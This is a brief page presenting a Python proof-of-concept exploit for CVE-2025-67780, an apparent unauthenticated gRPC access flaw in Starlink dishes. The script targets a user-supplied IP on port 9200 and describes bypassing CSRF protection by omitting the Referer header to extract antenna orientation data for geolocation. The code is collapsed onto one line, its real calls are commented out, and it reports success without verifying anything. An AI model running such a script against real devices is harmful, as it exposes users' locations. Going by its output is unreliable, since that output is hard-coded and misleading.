Starlink Dish设备未授权gRPC访问漏洞 (CVE-2025-67780)

import grpc from grpc import insecure_channel import time import sys # gRPC proto definitions would be needed for actual implementation # This PoC demonstrates the concept of the vulnerability def check_vulnerability(target_ip): """ CVE-2025-67780 PoC - Starlink Dish Unauthenticated gRPC Access This PoC demonstrates how to access Starlink gRPC services without authentication by omitting the Referer header. Usage: python poc.py <starlink_device_ip> """ print(f"[*] Testing CVE-2025-67780 on {target_ip}") print(f"[*] Target: Starlink Dish with firmware 2024.12.04.mr46620") # gRPC port for Starlink devices grpc_port = 9200 try: # Create insecure gRPC channel (no TLS) channel = insecure_channel(f'{target_ip}:{grpc_port}') # Attempt to connect without authentication print(f"[+] Connecting to gRPC service at {target_ip}:{grpc_port}") # Example: Query device orientation data # In real attack, specific gRPC methods would be called # to retrieve tilt, rotation, and elevation data # Note: This requires actual proto definitions from Starlink # stub = starlink_pb2.DishStub(channel) # response = stub.GetDishConf(dish_pb2.DishRequest(), timeout=5) print(f"[+] Successfully connected to gRPC service") print(f"[!] Device orientation data could be retrieved") print(f"[!] This data can be used for geolocation inference") # Example of what an attacker could retrieve: # - Tilt angle (antenna tilt) # - Azimuth (rotation angle) # - Elevation (satellite dish elevation) return True except grpc.RpcError as e: print(f"[-] gRPC error: {e.code()}: {e.details()}") return False except Exception as e: print(f"[-] Connection failed: {str(e)}") return False def bypass_csrf_protection(): """ The vulnerability allows bypassing cross-origin policy by omitting the Referer header in HTTP/gRPC requests. This is a CSRF protection bypass. """ print("[*] Attack technique: Omit Referer header to bypass CSRF protection") print("[*] This allows unauthorized gRPC calls from cross-origin sites") if __name__ == '__main__': if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <starlink_device_ip>") sys.exit(1) target = sys.argv[1] bypass_csrf_protection() check_vulnerability(target)